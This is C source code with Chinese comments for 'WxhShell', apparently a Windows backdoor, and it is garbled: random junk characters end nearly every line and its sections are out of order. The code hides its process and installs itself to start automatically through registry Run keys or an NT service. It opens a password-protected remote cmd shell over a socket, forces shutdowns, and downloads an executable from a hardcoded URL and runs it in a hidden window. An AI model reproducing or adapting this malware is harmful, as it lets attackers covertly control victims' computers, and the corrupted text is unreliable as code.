    } FIU( 2  
  // 关机 ci3{k"  
  case 'd': { E?Q=#+}U  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X[;4.imE  
    if(Boot(SHUTDOWN)) 2b|vb}|t{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wZrdr4j  
    else { Bfw>2  
    closesocket(wsh); P!bm$h*3?  
    ExitThread(0); }aX).u  
    } yJb;V#  
    break; FLy|+4D_%4  
    } mg >oB/,'Z  
  // 获取shell qd{|"(9B  
  case 's': { y ImriCT  
    CmdShell(wsh); sMO3eNLn  
    closesocket(wsh); f"Iv  
    ExitThread(0); M;Vx[s,#,  
    break; \mc~w4B[)3  
  } &5d>jEaB}  
  // 退出 H`@x5RjS   
  case 'x': { miN(a; Q2P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); a+]=3o  
    CloseIt(wsh); yxA0#6so  
    break; 5@ ZD'  
    } X#eVw|  
  // 离开 p3^7Hr  
  case 'q': { b:%>T PT  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /h2`?~k+  
    closesocket(wsh); O4$: xjs  
    WSACleanup(); u%*;gu"2  
    exit(1); 'inWV* P*g  
    break; SKG_P)TnO  
        } 7%w4?Nv3I  
  }  m?B@VDZ  
  } ?+Qbr$]  
(x=NA )  
  // 提示信息 i, RK0q?>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o~GhV4vq  
} C!Tl?>Tt  
  } RPp_L>&~<  
54 }s:[O  
  return; 'm/b+9?.  
} g]d"d  
=ARI*  
// shell模块句柄 #),QWTl3  
int CmdShell(SOCKET sock) oN _% oc  
{ _r,# l5~U  
STARTUPINFO si; ~kN6Hr*X  
ZeroMemory(&si,sizeof(si)); s` S<BX7  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T@Q.m.iV4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $V\xN(Ed  
PROCESS_INFORMATION ProcessInfo; BwBv 'p+n  
char cmdline[]="cmd"; t<: XY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T_gW't>   
  return 0; ruE.0VI@  
} ,:z@Ji  
s@3!G+ -}  
// 自身启动模式 sHEISNj/^  
int StartFromService(void) d0N7aacY  
{ sk],_l<  
typedef struct C2`END;  
{ eN jC.w9  
  DWORD ExitStatus; 9CL&tpqv f  
  DWORD PebBaseAddress; ?NHh=H\7u  
  DWORD AffinityMask; 1^$Io}o:S  
  DWORD BasePriority; e94csTh=  
  ULONG UniqueProcessId; aX  ?ON  
  ULONG InheritedFromUniqueProcessId; ~KX!i 8+X  
}   PROCESS_BASIC_INFORMATION; {=R=\Y?r&  
t~bjDV^`  
PROCNTQSIP NtQueryInformationProcess; \{~x<<qFd  
m*I5 \  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; a{u)~:/G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; w93yhV?  
1P[!B[;c  
  HANDLE             hProcess; 4s$))x9p  
  PROCESS_BASIC_INFORMATION pbi; da 2BQ;  
!A<?nz Uv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g\jdR_/  
  if(NULL == hInst ) return 0; >eU;lru2Q  
XVI+Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'vCFT(C-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p6ZKyi  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .Wa6?r<g  
h"<rW7z  
  if (!NtQueryInformationProcess) return 0; *np%67=jO  
12rr:(#%s  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @w|~:>/g  
  if(!hProcess) return 0; k'u2a  
8taaBM`:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; OY@/18D<>  
f:HRrKf9  
  CloseHandle(hProcess); zfxxPL'  
KD#ip3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \GPWC}V\s  
if(hProcess==NULL) return 0; g4~{#P^i  
Q04N  
HMODULE hMod; ,D#~%kq~  
char procName[255]; ,':?3| $c  
unsigned long cbNeeded; 5$9j&&R  
rgOB0[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2p'qp/  
<K2 )v~  
  CloseHandle(hProcess); fHe3 :a5+W  
7ZJYT#>b  
if(strstr(procName,"services")) return 1; // 以服务启动 b)`<J @&{  
$osDw1C  
  return 0; // 注册表启动 i*F^;-q)  
} 3tgct <"  
tF=96u_X  
// 主模块 Qy9#(596  
int StartWxhshell(LPSTR lpCmdLine) OvQG%D}P=  
{ 'jfI1 ]q  
  SOCKET wsl; a7M8sZ?"  
BOOL val=TRUE; iXXgPapz  
  int port=0; JZai{0se  
  struct sockaddr_in door; 9v/1>rziE  
ON !1lS  
  if(wscfg.ws_autoins) Install(); eP;lH~!.0  
[dUW3}APV  
port=atoi(lpCmdLine); 3ne=7Mj  
)kg^.tP  
if(port<=0) port=wscfg.ws_port; r_ Xk:  
t&-7AjS5  
  WSADATA data;  fkYa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; y5oiH  
MF>?! !  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hGzj}t W8d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0naegy?,  
  door.sin_family = AF_INET; R{Cj]:Ky  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C !uwD  
  door.sin_port = htons(port); a N_M  
NO;+:0n  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .,feRK>3  
closesocket(wsl); Vbz$dpT  
return 1; *n}{ )Ef  
} >a]{q^0  
X $J  
  if(listen(wsl,2) == INVALID_SOCKET) { %m{h1UQQ +  
closesocket(wsl); WG1x:,-  
return 1; l? 7D0  
} d)9=hp;,V  
  Wxhshell(wsl); o2&mhT  
  WSACleanup(); 'Kc;~a  
~kF^0-JZY  
return 0; \iO ,y:  
ql^n=+U  
} @#;~_?$?C  
= q;ACW,z  
// 以NT服务方式启动 qJrK?:O;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 'BtvT[KM  
{ j#.Aiy:,  
DWORD   status = 0; 2gukK8R$  
  DWORD   specificError = 0xfffffff; >~2oQ[ n  
9Yd<_B#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wc#4%kT  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U%m,:b6V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _@SC R%  
  serviceStatus.dwWin32ExitCode     = 0; uBH4E;[f  
  serviceStatus.dwServiceSpecificExitCode = 0; E ekX|*  
  serviceStatus.dwCheckPoint       = 0; 5_0Eh!sx  
  serviceStatus.dwWaitHint       = 0; 51l:  
CO-9-sQx  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); AvH^9zEE(  
  if (hServiceStatusHandle==0) return; qy/xJ>:  
f D2. Zh  
status = GetLastError(); UJ n3sZ<}  
  if (status!=NO_ERROR) PkMN@JS  
{ `Z0FQ( r_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; sYYNT*  
    serviceStatus.dwCheckPoint       = 0; "! m6U#^  
    serviceStatus.dwWaitHint       = 0; $CRu?WUS]'  
    serviceStatus.dwWin32ExitCode     = status; l*":WzRGvF  
    serviceStatus.dwServiceSpecificExitCode = specificError; xrf z-"n4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); S sGb;  
    return; _-$(=`8|<{  
  } iTwb#Q=  
_?CyKk\I  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >-0Rq[)  
  serviceStatus.dwCheckPoint       = 0; 0EKi?vP@y7  
  serviceStatus.dwWaitHint       = 0; k`_sKr]9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2.qEy6  
} -QN1= G4  
kq8.SvIb  
// 处理NT服务事件,比如:启动、停止 gwm!Pw j  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @j=:V!g2O  
{ T]HeS(  
switch(fdwControl) ~l+2Z4nV  
{ ,` 6O{Z~  
case SERVICE_CONTROL_STOP: 2Jo|]>nl}u  
  serviceStatus.dwWin32ExitCode = 0; kNR -eG  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qzt'ZK  
  serviceStatus.dwCheckPoint   = 0; ~}pc&jz>q  
  serviceStatus.dwWaitHint     = 0; _Dr9 w&;<  
  { 8BE] A_X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %|AebxB'o  
  } jmPnUn  
  return; |Bz1u|uc  
case SERVICE_CONTROL_PAUSE: c#( Hh{0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -Aaim`06bv  
  break; 0"}J!c<g  
case SERVICE_CONTROL_CONTINUE: kOdXbw9v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; WPI<SsLd  
  break; . |%n"{  
case SERVICE_CONTROL_INTERROGATE: f$ 9O0,}%O  
  break; ``4e&  
}; ;x%"o[[>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); SO4?3wg7  
} G!dx)v  
\Kr8k`f  
// 标准应用程序主函数 2*Zk^h=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G%iT L"6  
{ )Fon;/p  
=gNPS 0H  
// 获取操作系统版本 n&OM~Vs  
OsIsNt=GetOsVer(); '.EO+1{a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); % b fe_k(  
d^MRu#]  
  // 从命令行安装 J?{@pA  
  if(strpbrk(lpCmdLine,"iI")) Install(); _NefzZWUJ  
:aQ.:b(n  
  // 下载执行文件 Rjp7H  
if(wscfg.ws_downexe) { ~(nc<M[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 76H>ST@G|  
  WinExec(wscfg.ws_filenam,SW_HIDE); >Q $ph=  
} |;:g7eb  
dq,j?~ _}  
if(!OsIsNt) { Yw] 7@  
// 如果时win9x,隐藏进程并且设置为注册表启动 v{d$DZUs  
HideProc(); Ps!umV  
StartWxhshell(lpCmdLine); NNt  n  
} i/j53towe  
else C RBj>  
  if(StartFromService()) Z<^;Ybw{`Z  
  // 以服务方式启动 vj jVZ  
  StartServiceCtrlDispatcher(DispatchTable); FFa =/XB"  
else TZ *>MySiF  
  // 普通方式启动 ] # VHx  
  StartWxhshell(lpCmdLine); @A4$k dJ2  
<O5WY37"q  
return 0; sSd/\Ap  
} d~1uK-L]*  
rk6K0TQ8  
27k(`{K  
_j+!Fd  
=========================================== F~q(@.b  
1U% /~  
{{jV!8wK  
 ^M{,{bG  
j$K*R."  
AbxhNNK  
" z',Fa4@z  
I`zd:o]  
#include <stdio.h> 5r`rstV  
#include <string.h> K+pVRDRcs  
#include <windows.h> Xu8I8nAwl  
#include <winsock2.h> 6<2H 7'  
#include <winsvc.h> 9w$m\nV  
#include <urlmon.h> =:aJZ[UU<2  
_0(%^5Y  
#pragma comment (lib, "Ws2_32.lib") 1W\E`)Z}]  
#pragma comment (lib, "urlmon.lib") m>%b4M  
!$A/.;0$  
#define MAX_USER   100 // 最大客户端连接数 4qdoF_  
#define BUF_SOCK   200 // sock buffer 1rJ2}d\y  
#define KEY_BUFF   255 // 输入 buffer MjU|XQS:  
V(_1q  
#define REBOOT     0   // 重启 B*N1)J\5  
#define SHUTDOWN   1   // 关机 (J[Xryub  
lDTHK2f  
#define DEF_PORT   5000 // 监听端口 RN[I%^$"  
SRwD`FF  
#define REG_LEN     16   // 注册表键长度 #8|LPfA  
#define SVC_LEN     80   // NT服务名长度 i|J%jA  
_Z23lF 9  
// 从dll定义API odCt6Du  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nq)F$@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4b:|>Z-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PVsKI<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #,%7tXOLR  
R|C 2O[r}  
// wxhshell配置信息 U}LW8886  
struct WSCFG { =eDIvNps  
  int ws_port;         // 监听端口 =j62tDS  
  char ws_passstr[REG_LEN]; // 口令 _p^ "l2%D/  
  int ws_autoins;       // 安装标记, 1=yes 0=no {uj_4Ft  
  char ws_regname[REG_LEN]; // 注册表键名 vd{QFJ  
  char ws_svcname[REG_LEN]; // 服务名 9<6q(]U  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ovdJ[bO  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >> zd  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y3Fj3NwS  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }5-w,m{8/  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nN\H'{Wzd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {%f{U"m  
X` zWw_i  
}; m[^lu1\wn  
qOwql(vX  
// default Wxhshell configuration /' + >/  
struct WSCFG wscfg={DEF_PORT, j{@6y  
    "xuhuanlingzhe", ^U }k   
    1, j,.\QwpU  
    "Wxhshell", u= NLR\  
    "Wxhshell", +n)n6} S  
            "WxhShell Service", T.4&P#a1  
    "Wrsky Windows CmdShell Service", m1l6QcT1  
    "Please Input Your Password: ", U[@y 8yN6M  
  1, Dwp,d~z  
  "http://www.wrsky.com/wxhshell.exe", m^k0j/  
  "Wxhshell.exe" !y= R)k  
    }; -QrC>3xZR  
V)j[`,M:  
// 消息定义模块 -L1785pB85  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; T3X'73M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Rff F:,b  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FJ:^pROpm  
char *msg_ws_ext="\n\rExit."; ']r8q %  
char *msg_ws_end="\n\rQuit."; pk :P;\  
char *msg_ws_boot="\n\rReboot..."; WMSJU/-P  
char *msg_ws_poff="\n\rShutdown..."; uu9M}]mDl  
char *msg_ws_down="\n\rSave to "; *\sPHz.  
i[o 2(d,  
char *msg_ws_err="\n\rErr!"; s6!6Oqh  
char *msg_ws_ok="\n\rOK!";  !+eH8  
vADiW~^Q^  
char ExeFile[MAX_PATH]; Oynb "T&8  
int nUser = 0; `*C=R  _  
HANDLE handles[MAX_USER]; +$h  
int OsIsNt; [_,as  
*doNPp)m  
SERVICE_STATUS       serviceStatus; [9 W@<p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Smr{+m a  
3v/B*M VI  
// 函数声明 2cR[~\_9.  
int Install(void); zLpCKndj  
int Uninstall(void); K~N$s "Qx  
int DownloadFile(char *sURL, SOCKET wsh); &mwd0%4  
int Boot(int flag); p+VU:%.t  
void HideProc(void); .ZpOYhk  
int GetOsVer(void); i%hCV o  
int Wxhshell(SOCKET wsl); WsI`!ez;D  
void TalkWithClient(void *cs); 1E+12{~m"i  
int CmdShell(SOCKET sock); g !'R}y  
int StartFromService(void); >|$]=e,Z  
int StartWxhshell(LPSTR lpCmdLine); l<6u@,%s  
@(3F4Z.i%.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >f(?Mxh2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `o[l%I\Q  
Dac)`/  
// 数据结构和表定义 b 7UJ  
SERVICE_TABLE_ENTRY DispatchTable[] = z p E|  
{ i"^>sk  
{wscfg.ws_svcname, NTServiceMain}, T] zEcx+e  
{NULL, NULL} %FO{:@CH  
}; OtG\Uw8  
rE3dHJN;  
// 自我安装 P@{ x@9kI  
int Install(void) UUah5$Iy  
{ i0vm00oT  
  char svExeFile[MAX_PATH]; D(!^$9e9b  
  HKEY key; p4`1^}f&Ie  
  strcpy(svExeFile,ExeFile); |>.Q U3  
#9vC]Gm  
// 如果是win9x系统,修改注册表设为自启动 Shm> r@C?  
if(!OsIsNt) { / ^.|m3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KZm&sk=QM-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _yg_?GH  
  RegCloseKey(key); 2u"lc'9v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1F@k9[d~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); =BJe)!b  
  RegCloseKey(key); <W4F`6`x  
  return 0; $v^hzC  
    } )t6]F6!_  
  } %TB(E<p`  
} .iXN~*+g  
else { __=H"UhWv  
64s;EC  
// 如果是NT以上系统,安装为系统服务 AK:cDKBO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); o[|[xuTm  
if (schSCManager!=0) 8bIP"!=*W  
{ ] lB zpD  
  SC_HANDLE schService = CreateService 5xQ-f  
  ( >=~\b  
  schSCManager, 2]>O ZhS  
  wscfg.ws_svcname, zM'eqo>!c>  
  wscfg.ws_svcdisp, @<.@ X*#I  
  SERVICE_ALL_ACCESS, Gw M:f/eV  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (3#PKfY+  
  SERVICE_AUTO_START, 5KCB^`|b>t  
  SERVICE_ERROR_NORMAL, nxLuzf4U5  
  svExeFile, QV;o9j  
  NULL, e+ xQ\LH  
  NULL, Sj9fq*  
  NULL, jr6_|(0 i6  
  NULL, )vp0X\3q`  
  NULL v+c>iI  
  ); 9&6juL  
  if (schService!=0) %uW  =kr  
  { gP^2GnjHL8  
  CloseServiceHandle(schService); Dg&84,bv^  
  CloseServiceHandle(schSCManager); jL VJ+mu  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1W^hPY  
  strcat(svExeFile,wscfg.ws_svcname); 6{Wo5O{!\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f :c'j`  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8|u4xf<  
  RegCloseKey(key); Z;BS@e  
  return 0; |P|B"I<?  
    } Bo 35L:r|  
  } L@}PW)#  
  CloseServiceHandle(schSCManager); 7)66e  
} 0-2|(9 Kc  
} ,:_c-d#  
h$cm:uks  
return 1; R4?>C-;  
} $a(-r-_Fi]  
tne_]+  
// 自我卸载 sZ;|NAx)  
int Uninstall(void) D6 B-#u!M  
{ @^{Hq6_`  
  HKEY key; 2 $>DX\h  
Q7%4`_$!  
if(!OsIsNt) { b 2gng}  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h Yu6PWK  
  RegDeleteValue(key,wscfg.ws_regname); Z;0~f<e%  
  RegCloseKey(key); X{9^$/XsJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q z)2a2C  
  RegDeleteValue(key,wscfg.ws_regname); a#oROb-*~  
  RegCloseKey(key); #&3,T1i`  
  return 0; r pNb.  
  } .`or^`X3  
} [ks_wvY:'  
} /y$Omc^  
else { hor7~u+  
}Zhe%M=}G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); RLF&-[mr3  
if (schSCManager!=0) x4_IUIgh  
{ qJ ey&_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }@DCcf$<  
  if (schService!=0) v.0qE}' |  
  { MKK ^-T  
  if(DeleteService(schService)!=0) { g \mE  
  CloseServiceHandle(schService); N0`9/lr|  
  CloseServiceHandle(schSCManager); !_W:%t)g  
  return 0; blO4)7m  
  } 2q f|+[X  
  CloseServiceHandle(schService); #-{<d% qk  
  } U,P_bz*)  
  CloseServiceHandle(schSCManager); k.J%rRneN  
} [4)Oi-_Y>  
} b3(* /KgK  
`L1,JE` q  
return 1; SV7;B?e%Y  
} !MbzFs~  
[%W'd9`>  
// 从指定url下载文件 86&M Zdv6  
int DownloadFile(char *sURL, SOCKET wsh) pR0[qsQM  
{ ,Oo`*'a[o7  
  HRESULT hr; NvK9L.K  
char seps[]= "/"; EF/d7  
char *token; &@=Jm /5  
char *file; PKm|?kn{0(  
char myURL[MAX_PATH]; ZOK!SBn^?  
char myFILE[MAX_PATH]; i~B?p[  
GgO5=|  
strcpy(myURL,sURL); kVn RSg}R  
  token=strtok(myURL,seps); {Jr1K,  
  while(token!=NULL) *k?:k78L  
  { lu utyK!  
    file=token; ''17(%  
  token=strtok(NULL,seps); woI5aee|  
  } =H95?\}T[  
dQ:,pe7A  
GetCurrentDirectory(MAX_PATH,myFILE); z]7 WC  
strcat(myFILE, "\\"); r>mBe;[TX  
strcat(myFILE, file); u6iW1,#  
  send(wsh,myFILE,strlen(myFILE),0); Dy08.Sss  
send(wsh,"...",3,0); b,!C8rJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !2!~_*sGe  
  if(hr==S_OK) w,|@e_|J  
return 0; ns[/M~_r  
else 3:nhZN/95T  
return 1; 0KA*6]h t  
SmXJQ@jN  
} %h. zkocM  
U~G7~L &m  
// 系统电源模块 "8za'@D"f  
int Boot(int flag) D%>Bj>xQD  
{ i4D(8;  
  HANDLE hToken; bpu`'Vx  
  TOKEN_PRIVILEGES tkp; Iu'9yb  
)\wkVAm  
  if(OsIsNt) { PgtLyzc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Ku5||u.F4*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X'A`" }=_  
    tkp.PrivilegeCount = 1; lg^'/8^f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r[9m-#)>  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X4!93  
if(flag==REBOOT) { EEe$A?a;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DYX{v`>f^  
  return 0; .ARYCTyG  
} F`=p/IAJK  
else { 44CZl{pt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [8ZDMe  
  return 0; jaS<*_~#R  
} ammi4k/  
  } fe .=Z&  
  else { c!w[)>v  
if(flag==REBOOT) { '1u?-2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i?L=8+9f  
  return 0; fy+5i^{=  
} g-3^</_fZ  
else { +'F;\E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) y_PA9#v7  
  return 0; #N{]  
} A %w9Da?B  
} fECV\Z  
j26i+Z  
return 1; +!).'  
} \((MoQ9Qk  
=By@%ioIGG  
// win9x进程隐藏模块 n"iS[uj,  
void HideProc(void) <Bo\a3Z  
{ b'4a;k!rS  
@&T' h}|:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {7y;s  
  if ( hKernel != NULL ) lpi"@3  
  { _hnsH I!oD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #H$lBC WI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e;i 6C%DB  
    FreeLibrary(hKernel); XtCIUC{r,  
  } lpT&v ;$`  
&M-vKc"d  
return; 8W3zrnc  
} 5OM #_.p  
le*+(aw  
// 获取操作系统版本 p22AH%  
int GetOsVer(void) Q#MB=:0 {  
{ 4!sK>l!  
  OSVERSIONINFO winfo; &l6@C3N$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); .2I?^w&j+  
  GetVersionEx(&winfo); &C'^YF_^0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) bvD}N<>3N  
  return 1; |JkfAnrN$I  
  else 9hr7+fW]t  
  return 0; *eg0^ByeD  
} "DN,1Q lCp  
_2KIe(,;  
// 客户端句柄模块 'Agw~ &$  
int Wxhshell(SOCKET wsl) %g :Q?   
{ c5p,~z_Dtu  
  SOCKET wsh; {@X>!]  
  struct sockaddr_in client; <F^9ML+'  
  DWORD myID; $9%F1:u  
Byq VNz0L  
  while(nUser<MAX_USER) QC'Ru'8S  
{ i]n2\v AG  
  int nSize=sizeof(client); /? %V% n  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I`{3I-E  
  if(wsh==INVALID_SOCKET) return 1; xLed];2G  
%P}H3;2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); P!-RZEt$  
if(handles[nUser]==0) b5MBzFw  
  closesocket(wsh); bo<P%$(D  
else b}TvQ+W]2  
  nUser++; h6k" D4o\  
  } -1Tr!I:1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AL":j6!OQ  
20I`F>-*  
  return 0; &G2&OFAr]q  
} )>2L(~W  
n1%2 sV)>  
// 关闭 socket a&{Y~Og?%  
void CloseIt(SOCKET wsh) ZH~bY2^;  
{ BP..p ^EPN  
closesocket(wsh); 75a3hPCZ  
nUser--; yeyDB>#Va.  
ExitThread(0); h: yJ  
} aV5M}:D  
0SvPr [ >  
// 客户端请求句柄 `h'+4  
void TalkWithClient(void *cs) 0n:cmML )D  
{ `M~R4lr  
OUWK  
  SOCKET wsh=(SOCKET)cs; YPx+9^)  
  char pwd[SVC_LEN]; 4AN8Sx(  
  char cmd[KEY_BUFF]; )bM,>x  
char chr[1]; KBM*7raA  
int i,j; '( I0VJJ   
ZK;/~9KU  
  while (nUser < MAX_USER) { 4T3Z9KD!8  
% PzkVs  
if(wscfg.ws_passstr) { (:8a6=xQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '$Z)2fn7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N.mRay,  
  //ZeroMemory(pwd,KEY_BUFF); 0{vT`e'  
      i=0; 'v^Vg  
  while(i<SVC_LEN) { Xz@#,F:@  
u7mPp3ZYK  
  // 设置超时 "BsK' yo.  
  fd_set FdRead; ^g4Gw6q 6  
  struct timeval TimeOut; PVg<Ovi^d  
  FD_ZERO(&FdRead); ' pgP QM<  
  FD_SET(wsh,&FdRead); pO *[~yq5  
  TimeOut.tv_sec=8; t+ w{uwEY  
  TimeOut.tv_usec=0; a X1b(h2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); u<8b5An;  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Mf14> `<`  
wU|@fm"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #czTX%+9(e  
  pwd=chr[0]; A|LO!P,w  
  if(chr[0]==0xd || chr[0]==0xa) { L ~'98C  
  pwd=0; w71YA#cg  
  break; t Aq0Z)  
  } -E1-(TS  
  i++; nrY)i_\  
    } mhVLlb Y|t  
@'>RGaPV  
  // 如果是非法用户,关闭 socket .X%J}c$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); EMP|I^  
} )Xqjl  
FD[*Q2fU  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); O*v&C Hd3  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vyDxX  
_yg;5#3  
while(1) { _cvX$(Sg  
0U~$u  
  ZeroMemory(cmd,KEY_BUFF); )Zr\W3yWX  
"a].v 8l!  
      // 自动支持客户端 telnet标准   N ;=z o-8  
  j=0; Y_Fn)(  
  while(j<KEY_BUFF) { @\nQ{\^;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "LTw;& y  
  cmd[j]=chr[0]; A:ts_*  
  if(chr[0]==0xa || chr[0]==0xd) { =s!0EwDH3  
  cmd[j]=0; t@R[:n;+  
  break; n 6 pJ]Ce  
  } 9;Z{++z  
  j++; 1q(Qr h  
    } 3F]Dh^IR9  
#&T O(bk  
  // 下载文件 k Nc- @B  
  if(strstr(cmd,"http://")) { p/ xlR[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /i8OyRpSyk  
  if(DownloadFile(cmd,wsh)) C IMI?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~588M 8~  
  else P!Fy kg  
